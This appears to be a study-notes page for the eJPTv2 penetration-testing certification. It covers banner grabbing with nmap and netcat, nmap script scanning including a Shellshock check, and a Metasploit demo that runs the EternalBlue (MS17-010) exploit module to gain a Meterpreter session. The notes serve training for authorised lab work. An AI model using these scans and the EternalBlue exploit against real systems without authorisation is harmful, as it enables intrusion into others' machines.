> For the complete documentation index, see [llms.txt](https://106-sam.gitbook.io/ejptv2-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://106-sam.gitbook.io/ejptv2-notes/exploitation/vulnerability-scanning.md). # Vulnerability Scanning ### Banner Grabbing * Banner grabbing is an information gathering technique used by penetration tester to enumerate information regarding the target operating system as well as the services that are running on its open ports. * The primary objective of banner grabbing is to identify the service running on a specific port as well as the service version. * Banner grabbing can be performed through various techniques: * Performing a service version detection scan with Nmap. * Connecting to the open port with Netcat. * Authenticating with the service (If the service supports authentication), for example: SSH, FTP, Telnet, etc. DEMO ``` nmap -sV -O ``` * nmap scripts ``` ls -al /usr/share/nmap/scripts/ | grep banner ``` ``` nmap -sV --script=banner ``` ``` whatis nc ``` * NETCAT banner grabbing ``` nc ``` ``` searchsploit openssh 7.2p ``` ``` ssh root@ ``` *** ### Vulnerability Scanning With Nmap Scripts Nmap project free e-book {% embed url="'" %} ``` nmap -sV -O ``` * Open the the site * ``` ls -al /usr/share/nmap/scripts/ | grep http ``` ``` nmap -sV -p 80 --script=http-enum ``` ``` ls -al /usr/share/nmap/scripts/ | grep shellshock ``` or vuln ``` nmap -sV --script=http-shellshock ``` *Note*: CGI Scripts are essentially used to execute system commands or commands on the actual server or the operating system that is running or hosting * To check if the site is vulnerable to shellshock vulnerability ``` nmap -sV --script=http-shellshock --script-args "http-shellshock-uri=/gettime.cgi" ``` *Note*: to learn about the arguments jst search script on google for documentation. *** ### Vulnerability Scanning with Metasploit DEMO ``` nmap -sV -sS ``` ``` msfconsole -q > search eternalblue > use auxiliary/scanner/smb/smb_ms17_010 > set RHOSTS > run > use exploit/windows/smb/ms17_010_eternalblue > set RHOSTS > exploit >>>> sysinfo ```